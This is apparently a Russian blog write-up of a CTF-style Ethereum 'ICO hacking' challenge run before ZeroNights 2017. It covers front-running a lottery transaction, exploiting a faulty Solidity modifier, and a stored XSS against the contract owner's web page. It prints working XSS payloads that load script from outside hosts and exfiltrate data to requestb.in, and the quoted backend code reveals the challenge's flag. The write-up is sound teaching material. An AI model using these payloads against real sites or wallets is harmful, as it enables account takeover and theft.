Перед ежегодной конференцией ZeroNights 2017, помимо Hackquest 2017, мы решили организовать еще один конкурс, а именно — провести свое ICO (Initial coin offering). Но только не такое, как все привыкли видеть, а для хакеров. А как мы могли понять, что они хакеры? Они должны были взломать ICO! За подробностями прошу под кат.


Для начала — легенда.


Digital Security ICO следует принципу whitelist ICO, т.е. инвестировать могли только участники, попавшие в белый список. Отбор участников происходил вручную владельцами смарт-контракта, исходя из тех данных, которые предоставлялись — ссылка на личный блог, twitter, ник и т.п. В случае необходимости, нужно было подтвердить личность. Мы также давали шанс случайному участнику попасть на рассмотрение его кандидатуры в порядке лотереи каждые пять блоков. Более подробно вы можете ознакомиться с условиями и возможностями, прочитав смарт-контракт.

Задача участников проекта состояла в следующем:


Добыть более чем 31337 HACK и выслать запрос на получение инвайта на ZeroNights.

И вот так выглядела часть, на которой отображались заявки в whitelist, сам whitelist и заветная кнопка, "которую должен был нажать владец".



Этап первый. Подача заявки


Если проанализировать предоставленные ссылки на etherscan.io, то вырисовывается следующая архитектура смарт-контраков:


  • контракт, обеспечивающий HACK коин — страндартный ERC20 токен, ничего лишнего за исключением пары модификаторов
  • контракт ICO, сосредоточивший в себе всю логику продажи токенов и лотереи.

После прочтения ICO становится очевидно, что просто так заявку на рассмотрение владельцу не подашь:


    function proposal(string _email) public {
        // на счету у учасника должно быть более 1337 эфиров
        require(msg.sender.balance > 1337 ether && msg.sender != controller);
        desires[msg.sender].email = _email;
        desires[msg.sender].active = true;
        Proposal(msg.sender, _email);
    }

Где же взять столько эфиров? Первое, что может прийти в голову, — намайнить! Сеть-то тестовая, участников должно быть немного… Но нет. В сети Rinkbey используется Proof-of-Authority консенсус, поэтому майнят только избранные ноды и раздают полученый эфир всем желающим. Так что один из вариантов был — наплодить аккаунтов в Twitter, Google+, github.com и собрать необходимое количество эфира. По расчетам, имея чуть более сотни аккаунтов, можно было собрать такое количество за сутки. Если кто-то из участников, читающих разбор, прибегал к такому решению, — отпишитесь в комментах, нам интересен ваш опыт.


Те, кому такой вариант показался скучным, могли заметить в описании (или контракте), что есть некая лотерея, которая каждые пять блоков предоставляет возможность любому подать заявку. Все, что нужно, — угадать число, которое загадал лотерейный робот.
Функция смарт-контракта, которую вызывал робот, выглядит так:


address public robotAddress;
    mapping (address => uint) private playerNumber;
    address[] public players;
    uint public lotteryBlock;
    event NewLotteryBet(address who);
    event NewLotteryRound(uint blockNumber);

    function spinLottery(uint number) public {
        if (msg.sender != robotAddress) {
            playerNumber[msg.sender] = number;
            players.push(msg.sender);
            NewLotteryBet(msg.sender);
        } else {
            require(block.number - lotteryBlock > 5);
            lotteryBlock = block.number;

            for (uint i = 0; i < players.length; i++) {
                if (playerNumber[players[i]] == number) {
                    desires[players[i]].active = true;
                    desires[players[i]].email = "*Use changeEmail func to set your email.*";
                    Proposal(players[i], desires[players[i]].email);
                }
            }
            delete players; // flushing round
            NewLotteryRound(lotteryBlock);
        }
    }

Предполагалось, что участники в течение пяти блоков отправляют свои числа, а после этого робот присылает то, которое загадал он. Смарт-контракт должен был проверить, угадал ли кто-то из игроков. В случае успеха участник отправлялся в desires. Казалось бы, с точки зрения смарт-контракта нет никаких уязвимостей: робот своей транзакцией закрывал раунд и подсмотреть, какое число было загадано, можно было только постфактум. Но на самом деле нет.


Решение первого этапа


Для того, чтобы узнать, какое число загадал робот, и — самое главное — послать транзакцию раньше него, нужно было понимать, как эти транзакции обрабатываются сетью. Если коротко:
все новые транзакции сначала попадают в пул неподтвержденных (общий для всех участников сети), и майнеры, при формировании очередного блока, набирают себе транзакций именно оттуда. Но не в том порядке, как они были присланы, а в по убыванию комиссии и порядкового номера транзакции — gasPrice и nonce соответственно (на самом деле, цена "газа" — это только одна из составляющих комиссии, которую получает майнер; вторая — это сам потраченый газ).
Таким образом, все, что нужно было — это посмотреть на число, которое отправил робот, пока транзакция еще находилась в пуле неподтвержденных, и отправить следом свою с этим же числом, но большей ценой "газа". Принимая во внимание, что нахождение нового блока занимает 12-30 секунд, — у атакующего было достаточно времени, чтобы провернуть Front-running attack. Пример эксплоита можно изучить тут.


(Лирическое отступление) Если бы в конкурсе участвовал какой-нибудь Интернет-провайдер, имеющий возможность провести BGP hijacking атаки, по аналогии с описанными здесь, то он так же мог бы управлять порядком транзакций.


Этап второй. Жми на кнопку — получишь результат


Итак, заявка подана. Остается только ждать, пока владелец внесет меня в белый список и я смогу купить заветные HACK-коины. Звучит скучно, не правда ли? Может, есть способ как-то еще попасть в белый список? Смотрим в контракт:


modifier onlyController { require(msg.sender == controller); _; }

function addParticipant(address who) onlyController public {
        if (isDesirous(who) && who != controller) {
            whitelist[who] = true;
            delete desires[who];
            AddParticipant(who);
            RemoveProposal(who);
        }
    }

К функции addParticipant, которая вызывается при нажатии на одноименную кнопку в веб-интерфейсе, применен модификатор onlyController поэтому, чтобы ее вызвать, надо подписать транзакцию приватным ключом адреса controller. А может, за неимением такового, заменить самого владельца? Изучая исходники одного из наследуемых контрактов, — Controlled — можно заметить, что предусмотрена смена владельца через функцию changeController:


contract Controlled {
    /// @notice The address of the controller is the only address that can call
    ///  a function with this modifier
    modifier onlyController { require(msg.sender == controller); _; }

    address public controller;
    bool isICOdeployed;

    function Controlled() public { controller = msg.sender; }

    /// @notice Changes the controller of the contract just once
    /// @param _newController The new controller of the contract (e.g. ICO contract)
    function changeController(address _newController) public onlyController {
        if (!isICOdeployed) {
            isICOdeployed = true;
            controller = _newController;
        } else revert();
    }
}

На самом деле, функция актуальна только для смарт-контакта HACK-коина (чтобы при деплое изменить controller с адреса разработчика на адрес контракта ICO), но, поскольку контракт Controlled полезен и наследуется обоими контрактами, то и changeOwner будет у обоих. Пробуем? Неудача :( Разработчик предусмотрел это и вызвал функцию сразу при деплое со своим же адресом.


После того, как были исчерпаны все теории, могло и вправду показаться, что владелец заносит участников с whitelist вручную. Но это, конечно же, не так.


Решение второго этапа


Для прохождения второго этапа необходимо было провести blockchain stored XSS-атаку против владельца. Намек на это можно было увидеть в функции изменения email:


function changeEmail(string _email) public {
    require(desires[msg.sender].active);
    desires[msg.sender].email = _email;
    Proposal(msg.sender, _email);
}

Заметили? Никаких проверок на то, что содержится в строке _email нет. Нет их главным образом потому, что делать такие проверки дорого (потраченый gas), да и никаких встроеных функций для работы со строками нет. Выходит, единственный барьер защиты будет, скорее всего, реализован на клиентской стороне. Взглянем, как реализовано добавление email на страницу Statistic:


<!-- Отрывок из исходного кода компоненты statistics.vue -->
...  
<div class="table__proposals">
    <h2>Proposals</h2>
    <div class="table__body">
        <div class="table__item" v-for="member in desires" v-on:click.capture="selected = member" v-bind:class="{ selected: selected == member}">
            <!-- атрибут v-html - не безопасный способ добавления данных -->
            <div class="member__email" v-html="member.email"></div>
            <!-- так лучше -->
            <div>{{ member.address }}</div>
        </div>
    </div>
</div>
...

Конечно же, участники видели уже отрендеренный вариант. Но ничего не мешало экспериментировать:


  1. Данные об ABI смарт-контракта и его адрес подтягивались фронтендом отдельным запросом, так что можно было использовать прокси вроде Burp Suite, чтобы подменить их на свои.
  2. Исходник смарт-контракта лежал на etherscan.io — можно было pазвернуть приватный блокчейн, деплоить смарт-контракт туда и экспериментировать.

С точки зрения соревнования, также важно приходить уже с рабочим вектором атаки, поскольку в блокчейне все могут увидеть действия соперников!


Вот первый присланный вектор:


the.last.triarius@gmail.com<img src="1" onerror="var x = document.createElement('script'); x.src = 'http://yourjavascript.com/112951702413/h.js'; document.getElementsByTagName('head')[0].appendChild(x);">

Полезная нагрузка в большинстве случаев подтягивалась отдельно (и я даже не пытался ходить по этим ссылкам и смотреть, что там), но вот авторский пример:


var xhr = new XMLHttpRequest();
xhr.open('GET', '/static/contracts.json', false);
xhr.send();
var contracts = JSON.parse(xhr.responseText);
var ico_addr = contracts.ICO_CONTRACT_ADDRESS;
var ico_abi = contracts.ICO_CONTRACT_ABI;
var ico = web3.eth.contract(ico_abi).at(ico_addr);

var player_addr = '0xc24c2841b87694e546a093ac0da6565c8fdd1800';
var tx = ico.addParticipant(player_addr, {from: web3.eth.coinbase})
xhr.open('GET', 'https://requestb.in/1gz0iz11?tx='+tx, false);
xhr.send();

Стоит также отметить, что атака удалась потому, что владелец использует клиент geth с разлоченным аккаунтом coinbase. Если бы применялся какой-то кошелек, то при инициации транзакции пользователю высветилось бы окошко, требующее подтверждение транзакции. Однако, не стоит считать, что использование кошелька спасет от всех бед. Атакующий все еще может управлять данными, из которых формируется транзакция (например, подменить адрес, выбранный владельцем на свой).


Этап третий. Контрольная закупка


Ну что ж, мы почти у цели. Пора покупать 31337 HACK-коинов. Смотрим функцию покупки:


// смарт-контракт ICO 
uint RATE = 2500;

function buy() public payable {
    if (isWhitelisted(msg.sender)) {
         uint hacks = RATE * msg.value;
         require(hack.balanceOf(msg.sender) + hacks <= 1000 ether);
         hack.mint(hacks, msg.sender);
     }
 }

С ходу видно, что смарт-контракт не позволяет приобрести больше 1000 HACK-коинов, а нужно более 31337. Однако не беда! Обратите внимание, как происходит проверка баланса покупателя. Учитывается только текущий баланс! Логичным решением будет просто перевести коины куда-то еще и купить снова.


Решение третьего этапа


Смотрим, как можно сделать перевод:


modifier afterICO() {
    block.timestamp > November15_2017; _;
}

function transfer(address _to, uint256 _value) public afterICO returns (bool) {
    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    Transfer(msg.sender, _to, _value);
    return true;
}

Функция-то есть для перевода, но к ней приведен модификатор, который должен ограничить возможность ее вызова до окончания ICO. Однако, на самом деле модификатор не выполняет своей функции вне зависимости от условия, поскольку это самое условие еще нужно обработать. Вот правильный вариант:


modifier afterICO() {
    require(block.timestamp > November15_2017); _;
}

Таким образом, можно повторить операцию "покупка-вывод" 13 раз и накопить заветное количество токенов. Другой вариант — применить функцию transferFrom — процесс немного более сложный, но тоже рабочий.


Бонусный этап. Off-chain transaction


Этап бонусный, потому что не задумывался как этап вовсе, но многих заставил серьезно погуглить, и после прохождения прислать эмоциональный отзыв вместе с флагом (в рамках приличия, конечно же). Итак, подпись к форме на сайте гласит:


… To get an entrance ticket, collect more than 31337 HACK Coins and send us a signed off-chain transaction with "HACK" as msg.data.

Для передачи флага требовалось именно off-chain взаимодействие с участниками (то есть вне сети Ethereum). Поскольку приглашение можно было получить именно в обмен на флаг (секрет), а хранение секретов в блокчейне дело непростое — даже если зашифровать флаг, то как отдать правильному участнику ключ? Собственно, поэтому мы просили участника сгенерировать подписанную транзакцию с того адреса, на котором имеется нужное количество HACK-коинов и отправить ее на бекенд ico.dsec.ru, а не в сеть. Вот подробный пример, как можно сгенерировать подобную транзакцию.


А вот код с бекенда, который обрабатывает эту байтовую последовательность
var Tx = require('ethereumjs-tx');
var unsign = require('@warren-bank/ethereumjs-tx-unsign');
var util = require('ethereumjs-util');
var Web3 = require('web3');
var web3 = new Web3(new Web3.providers.HttpProvider('http://localhost:8545/'));

const HaCoin_CONTRACT_ADDRESS = "0x9993ae26affd099e13124d8b98556e3215214e81";
const abi_h = [{"constant":true,"inputs":[], ... ,"type":"event"}];
var hack = web3.eth.contract(abi_h).at(HaCoin_CONTRACT_ADDRESS);

router.post('/getInvite', function(req, res, next) {
    var transaction = new Tx(req.body.tx);

    if (transaction.verifySignature()) {
        var decodedTx = unsign(transaction.serialize().toString('hex'), true, true, true);
        var data = web3.toAscii(decodedTx.txData.data);
        var from = util.bufferToHex(transaction.from);

        if (data === hack.symbol() && web3.fromWei(hack.balanceOf(from), "ether") > 31337) {
            res.send({'success': true, 'email': 'ico@dsec.ru', 'code': 'l33t_ICO_haXor_Foy1YD042c!'});
        }
    } else {
        res.send({'success': false, 'error': 'Transaction is invalid.'});
    }
    res.send({'success': false, 'error': 'Transaction is invalid.'});
});

Вот и все. Спасибо всем, кто принял участие в ICO и наши поздравления победителям! Для тех, у кого проснулось желание пройти квест — он поработает еще пару дней :)


Так же огромное спасибо тем людям, которые перед ZeroNights нашли время и помогли мне.

Комментарии (1)


  1. BoogerWooger
    01.12.2017 13:59

    Спасибо, отличная статья.